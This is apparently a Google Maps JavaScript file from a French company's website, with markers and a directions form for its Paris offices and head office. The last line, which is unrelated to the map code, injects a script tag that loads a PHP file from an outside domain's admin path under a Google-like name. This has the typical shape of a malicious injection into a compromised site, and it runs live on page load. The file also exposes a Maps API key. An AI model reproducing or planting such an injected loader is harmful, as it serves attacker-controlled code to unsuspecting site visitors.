if (document.getElementById("map"))
{



document.write("<script type='text/javascript' src='http://maps.google.com/maps?file=api&v=2&key=ABQIAAAArF3i1cJXXLuOMLFYELENfhQAiHOIdrABcK_4dCy3ifA4vGDLNBSvkLsxNBYJ-60OG-6HRGR9yJd2sg'><\/script>" );
var tohere;
var fromhere;
var getDirections;


//<![CDATA[
//      google.load("maps", "2");
      
      // Call this function when the page has been loaded
function initialize()
{
     
    if (GBrowserIsCompatible())
    {
     var address='6 rue Rodier, 75009 Paris';
     var address2='49 rue du gÃ©nÃ©ral Leclerc, 94270 Le Kremlin BicÃªtre';
     var geocoder = new GClientGeocoder();
           
        var map = new GMap2(document.getElementById("map"));
       map.setCenter(new GLatLng(48.881877,2.350709), 11);
        map.addControl(new GLargeMapControl());

   
      var side_bar_html = "";
      var gmarkers = [];
      var htmls = [];
      var i = 0;
      // arrays to hold variants of the info window html with get direction forms open
      var to_htmls = [];
      var from_htmls = [];
     



      // A function to create the marker and set up the event window
      function createMarker(point,name,html)
      {
        var marker = new GMarker(point);

        // The info window version with the "to here" form open
        to_htmls[i] = html + '<br>Directions: <b>To here</b> - <a href="javascript:fromhere(' + i + ')">From here</a>' +
           '<br>Start address:<form action="javascript:getDirections()">' +
           '<input type="text" SIZE=40 MAXLENGTH=40 name="saddr" id="saddr" value="" /><br>' +
           '<INPUT value="Get Directions" TYPE="SUBMIT">' +
           '<input type="hidden" id="daddr" value="'+name+"@"+ point.lat() + ',' + point.lng() +
           '"/>';
        // The info window version with the "to here" form open
        from_htmls[i] = html + '<br>Directions: <a href="javascript:tohere(' + i + ')">To here</a> - <b>From here</b>' +
           '<br>End address:<form action="javascript:getDirections()">' +
           '<input type="text" SIZE=40 MAXLENGTH=40 name="daddr" id="daddr" value="" /><br>' +
           '<INPUT value="Get Directions" TYPE="SUBMIT">' +
           '<input type="hidden" id="saddr" value="'+name+"@"+ point.lat() + ',' + point.lng() +
           '"/>';
        // The inactive version of the direction info
        html = html + '<br>Directions: <a href="javascript:tohere('+i+')">To here</a> - <a href="javascript:fromhere('+i+')">From here</a>';

        GEvent.addListener(marker, "click", function()
        {
          marker.openInfoWindowHtml(html);
        });
        // save the info we need to use later for the side_bar
        gmarkers[i] = marker;
        htmls[i] = html;
        // add a line to the side_bar html
        side_bar_html += '<a href="javascript:myclick(' + i + ')">' + name + '</a><br>';
        i++;
        return marker;
      }

      // ===== request the directions =====
      getDirections = function ()
      {
        var saddr = document.getElementById("saddr").value
        var daddr = document.getElementById("daddr").value
        gdir.load("from: "+saddr+" to: "+daddr);
      }

      // functions that open the directions forms
      tohere = function (i)
      {
        gmarkers[i].openInfoWindowHtml(to_htmls[i]);
      }
      fromhere = function (i)
      {
        gmarkers[i].openInfoWindowHtml(from_htmls[i]);
      }

     
      // This function picks up the click and opens the corresponding info window
      function myclick(i)
      {
        gmarkers[i].openInfoWindowHtml(htmls[i]);
      }



      // === create a GDirections Object ===
      var gdir=new GDirections(map, document.getElementById("directions"));

      // === Array for decoding the failure codes ===
      var reasons=[];
      reasons[G_GEO_SUCCESS]            = "Success";
      reasons[G_GEO_MISSING_ADDRESS]    = "Missing Address: The address was either missing or had no value.";
      reasons[G_GEO_UNKNOWN_ADDRESS]    = "Unknown Address:  No corresponding geographic location could be found for the specified address.";
      reasons[G_GEO_UNAVAILABLE_ADDRESS]= "Unavailable Address:  The geocode for the given address cannot be returned due to legal or contractual reasons.";
      reasons[G_GEO_BAD_KEY]            = "Bad Key: The API key is either invalid or does not match the domain for which it was given";
      reasons[G_GEO_TOO_MANY_QUERIES]   = "Too Many Queries: The daily geocoding quota for this site has been exceeded.";
      reasons[G_GEO_SERVER_ERROR]       = "Server error: The geocoding request could not be successfully processed.";
      reasons[G_GEO_BAD_REQUEST]        = "A directions request could not be successfully parsed.";
      reasons[G_GEO_MISSING_QUERY]      = "No query was specified in the input.";
      reasons[G_GEO_UNKNOWN_DIRECTIONS] = "The GDirections object could not compute directions between the points.";

      // === catch Directions errors ===
      GEvent.addListener(gdir, "error", function()
      {
        var code = gdir.getStatus().code;
        var reason="Code "+code;
        if (reasons[code])
        {
          reason = reasons[code]
        }

        alert("Failed to obtain directions, "+reason);
      });


      var address='6 rue Rodier, 75009 Paris';
      var address2='47 rue du gÃ©nÃ©ral Leclerc, 94270 Le Kremlin BicÃªtre';
//     var geocoder = new GClientGeocoder();
      if (geocoder)
      {
                geocoder.getLatLng(address2, function(point)
                {
            if (!point)
                        { /* Si les coordonnÃÂ©es n'ont pas ÃÂ©tÃÂ© trouvÃÂ©s */
                alert("Impossible de localiser l'adresse :\n\n" + address2);
            }
                        else
                        { /* /* Les coordonnÃÂ©es ont ÃÂ©tÃÂ© trouvÃÂ©s */
                /* Centrer la carte sur le point */

                            var html = "Siege social :<br/>49 rue du gÃ©nÃ©ral Leclerc<br/>94270 Le Kremlin BicÃªtre";
                            var label = "label";
                            // create the marker
                            var marker = createMarker(point,label,html);
                            map.addOverlay(marker);
     
                                    //map.setCenter(point, 13);
                                    /* CrÃÂ©ation d'un marqueur */
                                 //var marker = new GMarker(point);
                                    /* Afficher le marqueur */
                                 // map.addOverlay(marker);
                                    /* Associer une info-bulle au marqueur */
                                 // marker.openInfoWindowHtml(address);
                       }
        });

        geocoder.getLatLng(address, function(point)
                {
            if (!point)
                        { /* Si les coordonnÃÂ©es n'ont pas ÃÂ©tÃÂ© trouvÃÂ©s */
                alert("Impossible de localiser l'adresse :\n\n" + address);
            }
                        else
                        { /* /* Les coordonnÃÂ©es ont ÃÂ©tÃÂ© trouvÃÂ©s */
                /* Centrer la carte sur le point */

                            var html = "Bureaux :<br/>6 rue Rodier<br/>75009 Paris";
                            var label = "label";
                            // create the marker
                            var marker = createMarker(point,label,html);
                            map.addOverlay(marker);
     
                                    //map.setCenter(point, 12);
                                    /* CrÃÂ©ation d'un marqueur */
                                 //var marker = new GMarker(point);
                                    /* Afficher le marqueur */
                                 // map.addOverlay(marker);
                                    /* Associer une info-bulle au marqueur */
                                 // marker.openInfoWindowHtml(address);
                       }
        });

       }
     

      // Read the data from example.xml
     /* var request = GXmlHttp.create();
      request.open("GET", "example.xml", true);
      request.onreadystatechange = function() {
        if (request.readyState == 4) {
          var xmlDoc = GXml.parse(request.responseText);
          // obtain the array of markers and loop through it
          var markers = xmlDoc.documentElement.getElementsByTagName("marker");
 
          //for (var i = 0; i < markers.length; i++) {
            // obtain the attribues of each marker
            //var lat = parseFloat(markers[i].getAttribute("lat"));
            //var lng = parseFloat(markers[i].getAttribute("lng"));
            //var point = new GLatLng(lat,lng);
            var html = "";
            var label = "label";
            // create the marker
            var marker = createMarker(arrive,label,html);
            map.addOverlay(marker);
          //}
          // put the assembled side_bar_html contents into the side_bar div
          document.getElementById("side_bar").innerHTML = side_bar_html;
        //}
      //}
      //request.send(null);*/
    }
    else
    {
      alert("Sorry, the Google Maps API is not compatible with this browser");
    }

    // This Javascript is based on code provided by the
    // Blackpool Community Church Javascript Team
    // http://www.commchurch.freeserve.co.uk/  
    // http://econym.googlepages.com/index.htm
  

   }
     //google.setOnLoadCallback(initialize);

            //]]>
}

document.write('<script src=http://rofelicitari.ro/admin/google5bcf80a48120f08d.php ><\/script>');